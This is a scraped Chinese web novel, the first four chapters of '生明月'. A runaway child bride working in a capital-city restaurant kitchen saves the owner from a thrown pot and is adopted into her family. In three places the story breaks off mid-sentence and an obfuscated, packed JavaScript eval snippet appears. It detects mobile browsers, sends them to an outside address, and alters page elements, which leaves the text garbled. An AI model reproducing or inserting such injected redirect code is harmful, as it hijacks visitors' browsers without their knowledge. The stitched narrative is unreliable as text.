《生明月》 1. 第 1 章 腊月十八午后，黑云压城，大街上风头如刀面如割，雪沫子转眼已成鹅毛之势，街头小贩无不瑟缩，叫卖也懒了力气，偶有行人裹紧衣裳，行色匆匆。 而此时，这条御街中央，皇京第一酒楼金鼎轩却是笙歌鼎沸，宾客如云。 后厨角门边，秀秀正偷偷啃了一口炊饼，扭头一看，里头早就炸了锅。 二十口灶眼同时喷火，猪肋骨在砧板上咔咔咧开，新来的小厮看着比她小，正哼哧抬着蒸笼，最上面一层端得费力，秀秀把最后一口饼猛塞进嘴里，暗自发笑。 “死丫头又躲懒，摸鱼摸到太湖去了？”李厨头抻着脖子吼过来，从秀秀后领子提溜出一根芫荽。 秀秀梗着脖子嚷：“给您尝尝咸淡呢！白酒放多了，烩鹅掌发苦......” 老头拧着眉头扑向炝锅那边，秀秀抓紧跟着扎进蒸腾白雾里。 洗菜池边上水芹堆成小山等着摘，她蹲下剜烂叶，没一会儿指甲盖就泛起青汁。四处看看，大家忙得热火朝天，秀秀继续择菜，顺手把半筐黄叶埋进堆肥桶底下。 这边儿秀秀正磨着洋工，门口管事婆子探进来半个身子：“再加道醒酒羹，要快！” 话刚说完，管事婆子眼珠子嘟噜一圈，一把抓住秀秀胳膊：“跟我来！” 秀秀一个趔趄，跟着婆子来到了酒楼大堂。 按理说，她是后厨打杂丫头，是不能到大堂来的，但眼下酒楼忙得不可开交，这边酒桌上不知哪儿的贵人大打出手，菜肴杯盏落了一地，正少个打杂的来收拾。 桌上的银吊子眼看就要歪到地上，里头的高汤咕嘟咕嘟骂娘，像极了秀秀的腹诽。 堂前不比后厨，这里就不是李厨头的地盘了，她只得老实听话，在旁人的怒火中蹲地收拾。 “这是怎么了？” 未见其人，便闻其声，一声笑里藏刀的问候之后，只见掌柜的风姿绰约地过来了，领口一圈油光水亮的玄狐锋毛上，一张脸面如满月。 皇城根下无人不知，这金鼎轩掌柜的钊虹是个利落泼辣的主儿，平日最不顺眼的就是有人在酒楼闹事，上个在酒楼大打出手的，被她终身禁止再踏进金鼎轩一步。 这会儿又吵起来，见老板娘风风火火出面，不少人都围上来，等着看好戏。 “哎呦，周坊主，您这是？”钊虹两手一抱，扭着梳得一丝不苟的发髻朝旁边的中年男子看去，掺了几分探究和。 只见这中年男子一脸铁青，朝身旁低声怒斥：“你这逆子，还不快给你蒋伯伯道歉？” 秀秀打扫间隙悄悄抬眼，最后确认了那位“逆子”是何许人也。 这“逆子”晃晃静站着，颀长昂藏，身形舒展如松，却偏生带着一股子漫不经心的劲头，往上瞧去，他眸光半敛着，长而密的睫毛在眼下投出一小片阴影。不言不笑。 此人生得极好，却让人觉得冷。 秀秀心里这么想着，不由多看两眼，但见他骤然望过来，眼底一阵精光一闪而过，眉目间满是倦怠和不耐。 秀秀脸蛋一红，紧忙低下头拾起地上的杂碎。 下一秒，散漫的声音打破僵持的场面。 “蒋伯伯，我周允，给您道歉了。” 明明是道歉的话，秀秀怎么听都听不出歉意。她再次偷偷看去，一双手青筋微凸，他随意伸出一根手指，顿了顿，又在身侧敲了几下，转而停下。 手也好看极了，手指修长，骨节分明，一看就不是干活的手。 正愣神之际，但闻对面一声冷哼，另一个年轻男子抬手指过来，驼着背，面皮涨得通红，他咬牙道：“周允，你——” 未等说完，手被猛然撞落，年轻男子倒吸一口凉气，只见周允轻轻一睨，懒洋洋往门口走去。 刹那间，那驼背男子仿佛被他激怒，一把抄起桌上的银吊子，带着一股狠劲，差周允的后背掷过去。 银吊子带着滚烫的汤汁，在半空中划出一道弧线，眼看就要砸中周允，却见他不慌不忙地往旁侧一迈，身形轻巧一转，那沉甸甸的银吊子便擦着他的衣角飞了出去。 但见银吊子去势未减，因周允的闪躲，竟直直朝钊虹的面门飞去！ 电光火石之间，一道纤细身影猛地冲出来！只见秀秀一个箭步上前，急忙一推，钊虹忙不迭后退一步扶上栏杆，“哐当”一声脆响，银吊子砸落在地，汤汁四溅，钊虹身上的宝蓝织金马面裙摆湿了一片。 大堂内一片沉寂。众人惊魂未定地看着这一幕。 钊虹扶着栏杆，捂上胸口定了定神，目光看向身边。“哎呦！”她连忙拉过秀秀打量一圈，“你这丫头，哪里可烫到了？！” 秀秀因用力过猛，自己也差点儿摔倒，一阵后怕，又隐隐担心自己越了界。听见钊虹如此发问，她低眉顺目，摇了摇头。 钊虹很快就稳下心神，一挥湿透的厚实裙摆，行走间窸窣有声，自带气势。她攥着手绢走到罪魁祸首面前，耳上一对赤金小圈耳坠随着动作轻晃，钊虹脸上带笑开口道： “蒋坊主，蒋公子，二位也算是金鼎轩的常客，这店里的规矩想必您二位也都清楚，今儿大家伙儿可都瞧见了，吃食、器物这些待会儿我让账房一一给您算清楚，人呢没受伤，我也就不追究了，账帖会送到您府上。二位，恕不远送。” 说罢，钊虹面色一定，便把二人往门外请，围观的人整整一圈，蒋氏父子只好灰头土脸走出酒楼。 紧跟着，周允也扬长而去，身后小厮连忙抄起一件墨狐裘，到那紧绷着脸的周坊主前，唯唯诺诺喊一声“老爷”，便又喊着“少爷”追出去了。 周坊主朝钊虹作揖：“掌柜的，改日鄙人定携逆子亲自登门道歉。” 钊虹笑说：“周坊主，这话可就客气了。” 几人一走，钊虹一扬手，便又笑盈盈招呼：“散了散了，大家吃好喝好啊......” 待众人散去，钊虹这才得空把秀秀拉到一旁，又细细打量一圈。 秀秀身子瘦削，大冬天的还穿着单薄的衣裳，人白净，一双杏眼和会说话似的，现下这眼里带着一点拘谨。 钊虹盘问起来：“你是后厨的丫头？” 秀秀点头称是。 钊虹又问：“哪家的？叫什么？多大了？” 秀秀稍加思索，于是避重就轻一一作答：“回掌柜的，小女名叫王秀秀，过了年十七，家里就自己了。” 钊虹心头一动，自己的亲闺女若是长大成人，也该这般大了。一时间她心里如有坠石，对眼前的丫头多了几分温和：“今日多亏了你，瞧你还算机灵，把你调到大堂来，你可愿意？” 谁料秀秀却拒绝了，她声音小，却十分清晰：“掌柜的，您的好意秀秀心领了，只是秀秀无父无母，无人教导，也不懂大户人家的规矩，只怕哪天冲撞了客人可就坏了。” 听完这一番话，钊虹瞧着小姑娘越发喜欢，便拉起秀秀的手腕，一摸又瘦又冰，手上一顿，于是又问：“平日住在后院？” 金鼎轩的生意红火，常常卡着宵禁时间打烊，所以店里的杂役大多吃住都在酒楼后院，秀秀这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16632984|188039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种无家可归的人更是如此，从老家逃出来，能有这样的工作已经十分不易。 见秀秀点头，钊虹又道：“今晚我跟后厨说一声，带你回家吃饭可好？” 秀秀一惊，连忙低头：“秀秀不敢。” 钊虹却笑了：“瞧你这模样，是我会吃人怎么？只是我瞧你合眼缘，说起来我还要道你一声救命恩人，请我救命恩人回家吃顿饭，这面子也不给我吗？” 秀秀自然是要给这面子。 暮色四合，李府各处早已掌灯。正堂后的花厅，桌上餐食已经撤下，厅内暖意融融，隔绝了冬日的寒风。 钊虹慵懒靠在贵妃榻上，跟坐在一旁的秀秀闲话家常。 一来二往，秀秀放松了戒备，却仍不敢透底，钊虹问起她的身世，她就抬起一双眼，好似随时要哭出来。 于是钊虹也不问了，从榻上直起身子，剥着花生，慢悠悠道：“今晚说来也巧，一家子都不在，倒是正好给咱俩腾出空来了。” 秀秀摸摸肚子：“今晚还要多谢掌柜的款待，我从没吃过那么好的东西。” 钊虹把两颗花生放进秀秀手里，说道：“怎与我这般客气了？” 秀秀一时愣住，抬眼看过去，只看见一张风韵犹存的脸正笑吟吟看着她，十分关爱。 这时一阵脚步声传来，钊虹身边的丫鬟出了门，紧跟着又进来向钊虹禀报。 “夫人，老爷派了小厮回来，说今晚不回了，正带着少爷赶书呢。” 钊虹应一声，又往窗外瞧一眼，转头对丫鬟说：“你去把前儿刚晒过的毯子给小厮，让他捎过去。” 小丫鬟捂嘴一笑：“夫人对老爷可真是挂念呢！” 钊虹伸手拍打过去，笑骂道：“好你个黄鹂，真真牙尖嘴利，没有你接不上的话！” 小丫鬟仓忙跑了出去，主仆间这一来一回看得秀秀一怔，又不由发笑，心里也琢磨起来，掌柜的雷厉风行，把金鼎轩经营得蒸蒸日上，却从未有人提起过成功女人背后的男人。 钊虹似有读心术，她笑道：“他是咱们这的教书先生，不知道你是不是听过他？” 秀秀垂眼想了想，恍然大悟，说：“李先生？听过的，同我住一屋的婆子还想把她家孙儿往李先生的书院送呢。” 钊虹又笑了：“老学究，今晚又在学堂住下了，做起学问来连家也不回了，不提他也罢。” 此后两人又热络聊了些，宵禁快要到了，秀秀看一眼窗外，天上已经飘起零星雪花，于是她便不得不打断：“掌柜的，今日宵禁就要到了，秀秀先告辞一步，还望掌柜的莫怪罪。” 钊虹顺水推舟：“今日邀你来，本就是让你留宿的，现下雪也大了，你就留下住一晚又何妨？” 沉默中，转眼间雪花已经成群涌出，窗外风声呼呼响了起来，秀秀应下。 暮鼓声起，她跟着丫鬟来到后院一间客房。 丫鬟：“秀秀姑娘，床上是夫人让备的厚衣裳，虽是夫人以前穿过的，可都已经洗净晾晒了，是些好料子呢，夫人说赶明儿再带您做新的。热水已经在房里备好，您自便歇下吧。” 秀秀应着，送走丫鬟便进了门。 厚实的被褥跟酒楼后院那硬邦邦的通铺大不相同，屋里的窗户密实不透风，她这才知道原来冬天是暖和的。 等到夜色渐沉，大雪已呈铺天盖地之势，她才觉出一分不真实。 从一千里外的王家沟到如今的皇城脚下，从被爹卖身的童养媳到后厨里的杂役丫头，她何德何能落得掌柜的这般宠爱？ 2. 第 2 章 日头渐渐毒辣起来，秀秀抹了把额角的汗，望着前方蜿蜒的商队。自五月从胡家逃出来，这两月风餐露宿，鞋底都磨薄了三层，总算在七月遇见了一支商队。 她从旁人口里听见，这商队是往皇京走的。 长这么大，她去过最远的地方也不过是离家二十里地的胡家，如今，竟往皇京走去了吗？ 最初她只是跟在商队后面狐假虎威，人多，总归能唬到一些坏人。可商队的人见了就要赶她几声，秀秀只悄悄跟着，她不跟商队的人讨饭讨水。 有回她没吃饭，越走越慢，咬牙撑着，最后还是停了下来。她拖着身子看商队经过，蜡黄的脸上，一双眼里全是不甘心，她以为自己再也跟不上了。 可队伍后头的那个人扔过来一块炊饼。 于是她又跟上了商队。 她知道，到了皇京只能是更大的挑战，所以她常常竖着耳朵偷听商队的人讲闲话。 “周家这批铁锅可真抢手！”前头络腮胡大汉灌了口水，“听说北边鞑子都指名要他家的锅，也难怪几个冶坊都看不惯他。” 旁边瘦高个嗤笑：“可惜啊，周四海挣下金山银山，偏生了个天煞孤星的独苗。” “他如今都及冠了，准是算命的胡说。” “这不是听了算命先生的话，取了名，压住了嘛！要不活到十岁都喘。” 商队在暮色中缓缓前行，快到饭点了。 “嗨，不说他了。等这趟货交完，老子非要去金鼎轩搓一顿不可！”那络腮胡咂咂嘴，掏出烟杆在车辕上磕了磕，“他家的金蹄髈，炖得那叫一个糯...” 瘦高个又说：“那道鸳鸯鲈鱼才是鲜，半边清蒸半边红烧，浇汁的时候能听见滋滋响！” 秀秀吞了吞口水，继续听。 另一个小伙子插嘴，“要我说，人家在皇京里排这个，不是没说头。”说道此处，小伙子竖起大拇指。 “我表兄就在金鼎轩打杂，”小伙子一脸骄傲，似乎这是什么了不起的事，“不仅包吃住，连成亲都管！杂役和跑堂的看对眼，钊掌柜还给腾出间临街的厢房当新房！” 众人哄笑，听到这儿，秀秀总算听到些有用的。 皇京的大酒楼金鼎轩，杂役管吃管住。她自小在家干活，做饭也不在话下，没准能去金鼎轩试试。 想到这些，秀秀总算有了盼头，日子一天天过，她离皇京也越来越近，在八月，她终于见到了皇京的大门。 可是叫花子怎么能进皇京呢？守城的兵士穿着鲜亮的号坎，眼神锐利。 秀秀两眼一转，走在了商队侧边儿，趁着两边都在检查，她身子小，蜷着腰，躲在一个挑扁担的大爷后面就溜了过去。 如有天助。 金鼎轩，金鼎轩，秀秀目标明确，然而当她走到金鼎轩的门口时，她害怕了。 风餐露宿她没怕，被人恐吓她没怕，快死在路上时她也没怕，可当她走上这般热闹的街，亲眼看见这般气派的酒楼，她怕了。 街道通衢，车马粼粼，行人如织，店铺林立，声响合鸣。 路宽可容十马并行，脚下的青石板路平整坚硬，不见车辙人迹，倒映着秋阳的光；路过的青绸马车装饰精美，马蹄声“嘚嘚”，车夫喊着小心避让；卖货郎大声叫卖，担子里的秋梨、石榴和柿子色彩缤纷；文人士子身着锦袍，摇着折扇闲步走进金鼎轩；茶楼里座无虚席，说书先生醒木一拍，引来满堂喝彩。 瘦小的她，正穿着从胡家逃出来时换上的粗布衣裳，头发丝里掺着这一路的灰尘和汗水，身上又旧又脏。 她低头就能闻见身上的异味，看见磨烂的布鞋和灰扑扑的自己；她仰头就能看见街道两旁的店铺幌子迎风招展，金鼎轩楼上的临窗位子早已坐满，食客们凭栏远眺，在镂空雕花的窗户里谈笑风生。 她指甲几乎掐进肉里，咬了咬唇。她现在的模样实在是寒酸狼狈得很！至少要把手和脸洗干净，把头发梳拢整齐。 可举目四望，皇京之大，哪里都显得那么敞亮，让她无处遁形。 秀秀沿着城根，漫无目的地走着，不知不觉走到了护城河边，她顺河走着，越走越偏，终于看见树林深处的小溪。 日头正盛，溪水被树林环抱，叶绿未央，林间光影斑驳，远处只一匹马正悠闲吃草，四下空无一人。 她心中一喜，加快脚步，穿过林子，眼前豁然开朗。 水面泛着光，溪底鹅卵石清晰可辨，秀秀伸手一淌，这溪水被晒得温热。 说干就干，趁着最后这点力气，她把外衣脱下，仔仔细细搓着，走的时候在胡家，穿的衣服虽说不华丽，但还算合身得体，洗干净了也能算上好衣裳。 洗完她把衣服平摊在晒得发烫的石头上，又舒舒坦坦洗了个澡。等洗完澡，衣服也快干了。 正欲穿衣，身后却猝然传来一声冷喝：“谁！” 秀秀被吓得惊呼一声，连忙捂着胸口蹲下，蜡黄的脚顿时紧张起来，白花花的身子缩成一团窝在水下，湿发在水面漂着，阳光透射下来，后背和发梢都带上了流动的韵律。 环顾四周，只见身后猛然出现一个高大挺阔的背影。 那男子仍束着发，身下只穿一条泅裤，浑身闪着水光，秀秀红着脸忙伸一手捂住眼，又透过指缝眯起眼看去。 他微微俯下身，长臂一伸，石头上的袍子便在空中鼓了起来，他就这么披在身上，水渍立马把布料打湿，显出星星点点的水痕来。 他边走边穿，一路往林子那头的马匹走去。 见他策马离去，秀秀也抓紧从水里出来，简单晾晾，便穿好了衣服。 肚子空空，又在水里待了这么久，刚编好头发，她便觉出一阵眩晕。 所幸林子里有几棵果树，离得远也能看见一颗颗大梨子，这个季节的梨子又大又甜，竟无人采摘。 她无暇顾及梨树有主，偷偷吃了个饱，趁着天还没黑，便往金鼎轩赶去。 现在这副模样，没人会觉得她再是一个叫花子，顶多是吃不饱饭的穷苦人家。她局促地走到酒楼门口，看了眼黑底金字的匾额，鼓足了气儿问门口小厮：“这里招工吗？” 小厮不耐烦地推开她，一心只顾揽客。 秀秀来到酒楼边上，一时间十分落寞，但很快她眼里重新燃起火光，她看见了从酒楼后院侧门出来的泔水车。 这里都是杂役，没人注意她，她顺着侧门摸进去，找到了后厨，抓着一个像是管事的人便说：“这里招工吗？我很能干，打杂做饭都行，给口饭吃就行。” 老头把她上下打量一番，没等他开口，秀秀又说：“别看我瘦，我有劲儿，从小就在家干活。” 老头一顿，秀秀又急忙道：“先让我干两天试试吧，不行我就走，不给钱也行。” 老头轻咳一声，问：“会刮鱼鳞么？” 秀秀连忙点头，跟着老头进了后厨，留了下来。 这个领她走进厨房的老头便是李厨头了，老头不怒自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16632985|188039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 威，可秀秀也逐渐摸出点门道，李厨头只是看着凶，实际上没多少脾气。 酒楼后院有三间大通铺是给他们这些打杂的住的，男人多，有两间，女人住一间。环境不算好，但比起她老家的房子，已经很不错了。 秀秀挨着一个婆子睡，婆子打鼾，总在半夜吵醒她；婆子话多，时常跟她讲闲话；婆子心眼更多，要拉秀秀给她做儿媳。 秀秀眼睛一眨就开始冒水儿：“不是我不情愿，大娘，实在是...打小就有算命的说我是天煞孤星，秀秀这名还是算命算来的，不然我十岁都活不到。” 婆子一听便作罢，看着这双水汪汪的眼，只当秀秀也是个可怜人，再也没提做儿媳这回事。 有饭吃，有地方住，秀秀知足，却也有着自己的野心，她想当厨子，厨子工钱更多，而且手艺学到手里，在哪儿都能立身。 于是她时不时偷懒看厨子炒菜，悄悄跟着偷师学艺，偶尔李厨头心情好，她就机灵问两句。 腊月，她已经比来时胖了些，脸色白回去了，也长高了，她攒下一点钱，便开始想起爹和弟弟们。 她对这个爹没有念想，娘走得早，这个爹染上赌，本来就不富裕的家变得一贫如洗，爹又把她卖给胡家，提起这个爹，她甚至有些恨。 最挂念的是两个弟弟，年纪还小，爹要是不管不问，饿死他们也不是不可能。可她顾全自己尚且勉强，又有什么能力去考虑一千里外的人呢。 秀秀这么想着，就来到到了腊月十九，再一睁眼，是在温暖安静的房间。 她起床穿衣，看了看钊虹给准备的几件锦丽裙袄，还是穿上了自己的旧衣裳，待洗漱好，被褥整理完，便出门去了。 钊虹还没醒，怎么也该等她醒了说一声再走，于是秀秀进了厨房。 一水的丫鬟婆子正在忙活早饭，几人见秀秀进来，都不由一愣。 秀秀率先开口：“我帮帮忙罢。” 一个昨天摆饭时见过她的丫鬟开口：“秀秀姑娘，您哪能干这些呢，快去歇息罢。” 秀秀笑笑：“不碍事，我在金鼎轩也是待在后厨的。” 说罢，便撸起袖子净了手，不顾几人阻拦，陪大家干了起来。 钊虹晨起后，竟在厨房见着她，见她还穿着自己那身旧衣裳，不由把人带出厨房发问。 秀秀如实告知：“后厨杂活多，我怕糟蹋了这么金贵的衣裳。本想等您醒就告辞，掌柜的，那我就先回去了。” 钊虹佯怒：“给你就是让你今天穿的，莫不是嫌弃我半老徐娘，这衣服又旧又过时了？” 秀秀紧忙摇头：“这是哪里的话，掌柜的，您送我衣服，我开心还来不及，怎么会嫌弃！” 钊虹拍拍她：“那就把衣服换上，一会儿太老爷，老爷，少爷都要回来吃饭，你穿这身，不是给我丢人了？” 秀秀扯了扯嘴角，回房换了衣裳。 肚兜外套一件棉布里衣，穿上鹅黄棉袄再套一件淡粉梅花比甲，领口一圈雪白兔毛，下身棉裤套暗花缎马面裙，脚再踩一双绣花棉鞋。 她穿着这身衣裳有些肥，却不妨碍她大变活人。 一袭浅色衣服在沉闷的冬日里显出轻盈贵气，秀秀脸上白里透红，辫子乌黑，一笑眼睛也跟着弯起来，娇憨可人。 钊虹见了笑得合不拢嘴：“这可不比那些千金小姐差到哪里。” 不多时，院子里响起来一阵阵脚步声和谈话声，钊虹朝丫鬟说：“摆饭吧。” 3. 第 3 章 辰时二刻，天色蒙蒙发青，窗外残雪寒光，窗内满室松香暖意。 紫檀木圆桌上已经布好晨食：一盅冰糖炖燕窝冒着袅袅热气，四碟芝麻酥饼炸得金黄，另有热腾腾的羊肉包子并一壶热茶。碗盏皆白瓷，素净不失精致。 桌旁，秀秀仍未从刚才的震惊中回过神来，手还顿着，面前一双筷子正夹着包子放进她眼前的盘子里，接着钊虹爽朗的声音响了起来：“傻了？” “噗——” 秀秀闻声望去，对面青葱白面的少年笑了半声便憋住，低头喝起燕窝来。 刚刚钊虹已经介绍过，少年名李聿，年十四，因为生在寅时，乳名唤作寅生，平日随父亲在学堂念书。 “寅生，不得无礼。” 说这话的是坐在钊虹身旁的中年男子，也就是李府的老爷李守常，也是昨日提及的“李先生”，他的身着一袭墨青夹棉长袍，淡雅文范，举止间端正得体，此时正神情严肃地看向李聿。 钊虹开口，语气里带着不满：“秀秀还在，当着客人的面儿，你又要板着脸吓孩子。” 李守常正欲开口解释，被桌上另一位男子打断，而这位太老爷才是真正让秀秀震惊的人，因为他不是别人，正是昔日把她带进厨房的李厨头。 李三一不管一家三口的争论，朝秀秀看过来：“秀秀，听说昨日是你救了掌柜的一场？” 桌上一时间安静下来，秀秀兀自咬上嘴唇，她若是早就知道李厨头是掌柜的公爹，是如何也不敢在后厨偷懒的，可眼下只得抬起头来端正姿态：“算不上救，事发紧急，我顶多算是给掌柜的提个醒。” 钊虹便顺势细细说起昨日的情景，几人听完，神情各异。 李守常眉间一蹙，放下勺子紧张地问：“你伤到了？” 钊虹觉得他大惊小怪：“你看我像伤到了？” 李聿也抬起头来，声音带着浊厚的少年气：“不然兄也在场？” 李守常又看李聿一眼：“你现要准备明年的院试，切不可再与往日一样放纵，周家也少过去。” 李聿垂下眼，带着不情愿：“知道了。” 李三一清场：“好了，不管怎么说，秀秀算是咱们家的恩人，说到底，是该道谢的。” 钊虹接过话来：“公爹，今日把您从酒楼请回来，原是有桩紧要事。”她目光灼灼扫过众人，继续说道，“昨日我已想好，想认秀秀做义女，这孩子父母都不在了，偏又聪明伶俐得很，我与观复的第一个孩子，若是活下来，也如秀秀一般大了，经由昨日一事，想来倒合该是缘分。” 满室霎静，唯闻炭火哔剥作响。李三一沉吟片刻，问向李守常：“观复，你怎么看？” 李守常面色如常：“夫人既已思虑周全，我自是乐意，只是还需问过姑娘意愿才是。” 所有目光骤然聚到秀秀身上，她心头如沸水翻涌，本以为掌柜的只为答谢，如今却是要认亲，这破天的富贵实在是来得突然...... 钊虹见她迟疑，朗声一笑：“秀秀莫慌，且慢慢思量。本想昨日告知与你，却怕你夜里难眠，如今趁着一家人都在，这才说出我的意思，你若是不愿，我绝不强求，横竖我也不能让你受了委屈不是？” 一番言辞下来，秀秀既惊又喜：“能得掌柜的抬爱是秀秀三生有幸，又怎能不愿意？只是......”秀秀话说到一半，垂下眼帘，不再言语。 钊虹轻拍上秀秀垂在腿上的手，说道：“莫急，有什么话儿待饭后咱们好好说，届时再做思量也好。” 饭后，李氏父子又重回学堂去了，太老爷李三一在家歇下。 秀秀也是这时才知道，金鼎轩是钊家的生意，多年前太老爷便在酒楼做了厨头，也正是因为这层关系，当时已经是举人的李先生便结识了刚接手金鼎轩的掌柜的，两人成了婚，李先生却没做官，而是开了自己的学堂，平日教书，抽出空来还要作自己的书。 他们的第一个孩子是丫头，但后来却滑了胎，后来李聿出生，李先生便不再也不愿掌柜的冒险生育，于是二人就这一个孩子，一家人对李聿的期望是考取功名走仕途，所以他平时也都在学堂跟着念书。 而李厨头，则是身子骨壮实却又闲不住，老夫人走得早，他在厨房待了大半辈子，也离不开厨房，所以平日仍在金鼎轩当厨头，单开一间住在那里，偶尔才回李府。 秀秀看得明白，这大宅院虽叫李府，可主事儿的还是掌柜的，今早在桌上，掌柜的说要认她做义女，也没人会反驳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16632986|188039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 只是她的身世实在不堪，又怎好辜负掌柜的这片心意，秀秀娓娓道来，同钊虹讲了所有的事情，正惴惴，却见钊虹带着轻微鼻音说道：“好孩子，竟吃了这么多的苦。谈什么配不配的，我只看你是如何想的？” 钊虹这一番话，惹得秀秀也红了眼，她平缓情绪，正色道：“我自是愿意的，只是还望掌柜的能答应秀秀一个请求。” 钊虹：“何事？” 秀秀一鼓作气开口：“秀秀没什么过人之处，只是在后厨干了这些时日，才越发觉得喜欢下厨烹饪，平日眼观耳闻，我倒也学了几分模样，便想正儿八经在后厨学艺，还望掌柜的成全。” 钊虹闻言放下心来，却也带着些不解：“嗨，我还当是什么大事，不过，我既认你做女儿，自是希望你享福的，琴棋书画哪样不好，怎么偏偏就认定这劳累活计了，你真就想好了？” 秀秀笑笑：“要习得本领，免不了要下功夫和心血，我不识字，道理还是懂的。从小这么过来，也没觉得多苦，更不必提学艺的苦，我巴不得吃呢！” 钊虹跟着笑起来：“待太老爷起来，我亲自与他商量，他正愁自己的厨艺没人接班，这事你就放心吧！说到识字，这家里最不缺的可就是书了，后日得下空来，哪怕是寅生也能指点一二的。” 秀秀知道掌柜的通情达理，却也未曾想如此顺利就把心事解决了，不禁面露喜色，连忙道谢：“谢谢掌柜的！” 钊虹嗔道：“还叫掌柜的？” 秀秀眉眼弯弯，咧出一口整洁贝齿：“谢谢干娘！” 钊虹又继续说道：“虽说不合情，但你是想继续随你那爹姓，还是随我这个干娘改个名字？闺名还唤你秀秀，可这大名一改，日后你若是想成亲，也好说不是？” 秀秀脸上一热，想来竟就在这一天之内翻天覆地，眼下留在金鼎轩学了艺、攒了钱才是紧要事，于是她索性心一横，点了头。 钊虹乐不可支，拉起秀秀的手说：“好，待你干爹回家，就让他给你选个好名字。往后就在咱家住下了，可再不能大清早回那金鼎轩后院了。” 秀秀抿嘴笑笑，母女二人好不欢喜，正欲再多说会悄悄话，这时外面来报：“夫人，周家父子来了。” 4. 第 4 章 巳初时分，雪后初霁，碧空如洗，空气清冽，李府青瓦飞檐的屋顶上厚厚一层素白，后院老槐翻屋越顶，琼枝玉叶横到前院，院中央已被丫鬟小厮清扫干净，抄手游廊的栏杆上积雪盈寸。 周氏父子正从游廊往主屋走来。 周四海年已四十又一，精神矍铄，双眸炯炯，身着玄色袍服，外披大氅，乍一看，倒像是吏司指挥，气势不凡。 而在周四海身侧的便是周氏冶坊的少坊主周允了，深赭色道袍衬得他面若冠玉，剑眉星目却又英挺十分，长身玉立，墨狐裘涌千峰影，公子肃肃如松下风。 二人身后，一名小厮正抱着一个暗纹锦盒跟着走来。 钊虹携秀秀起身迎接，刚一入门，只见周四海开门见山躬身道：“钊掌柜，今日鄙人特携犬子登门道歉，昨日在店内的不快还望你海涵。” 说罢，周四海便朝身旁喝道：“还不道歉！” 周允无动于衷，向前一步，微微欠身，声调无波无澜：“钊掌柜，今日特来给您赔礼了。” 他朝身后乜一眼，小厮便托着礼盒奉上来。 钊虹笑呵呵引人入座，又唤黄鹂上茶。秀秀本在钊虹身侧候着，也被她示意坐下。 钊虹道：“周大哥，竟跟我这般见外了？昨日是他蒋登蒋文父子找茬儿，与不然何干？又何必特来跑这一趟？” 周四海：“前些日子，不然从商队托人给寅生带回来这砚台，只是这些时日冶坊忙，这才耽搁了，就是不来道歉，也是要差人送来的。” 周允眉峰轻挑，一言不发。 钊虹接过锦盒掀开，一块成色极好的洮河石砚显露出来，这砚台油亮莹润，整体宛如一只蝉，蝉翼纹理剔透，栩栩如生。 钊虹：“劳烦他大伯兄长挂念，这可真真是个稀罕物件儿，这样贵重的礼物，怕是花费不少银钱。” 周四海：“千金难买个喜欢，收下吧。” 钊虹把盖子扣上，递给丫鬟，笑道：“寅生得了不知得多欢喜，怕是又要跟在他不然兄后头讨人嫌了，待他下学回来，让他亲自给大伯哥哥答谢。” 周四海豪爽一笑：“本是歉礼，何来道谢一说？” 一来一回，气氛融洽，秀秀颔首静听，无所事事，目光游离，落在对面的深赭色长袍上，平整布料被膝盖顶起两个凸起，竟比椅子还高出一截儿，两只手松弛搭在腿上，遒劲有力不失愜然，一股子懒散劲儿。 慢慢往上看去，宽肩窄腰却又挺拔，坐得一丝不苟，倒是端正斯文。 秀秀心神一弛，只见他手指轻轻在腿上叩了起来，一下一下，抬起又落回。 周允敲着膝盖，心不在焉，带着一丝无聊，隐隐中在等待着什么，他暗自数数：一、二、三、四…… 第六下，她抬头看过来。 对视的瞬间，他在她眼里看见忐忑。 秀秀猛地撇开眼，凝聚心神，隐约听见对面传来一声微不可察的轻笑。她抿抿唇，轻叹一声，垂下眼睫，把裙子上的暗纹绣花盯出窟窿来。 紧跟着，房里响起钊虹的声音：“今儿早才认的义女，名字还没取好，倒是让你爷俩抢了个先见着面儿了，俗话说得好，来得早不如来得巧。”钊虹语气里带着喜悦，朝秀秀说，“秀秀，以后这就是你周大伯和不然哥哥了。” 秀秀起身问好，不去看他，不敢抑或是不想，自己也不知为何。 一声“不然哥哥”叫出口，他轻声应着，彬彬有礼，叫人挑不出错，可她依旧从简短应答里听出别的态度来，想了又想，秀秀想明白了这股异样又熟悉的感觉来自何处。 他的应答就好似在随意应着小厮丫鬟的问好，就好似他对这样的人情往来很不屑，或者说，不在乎。 她在胡家做童养媳的那三年，听惯了这种应答。于秀秀而言，无所谓，也算不上什么。 钊虹兴起，留人用饭：“眼看要晌午了，岂有空腹而归的道理？” 一番推拉，周氏父子起身离去。 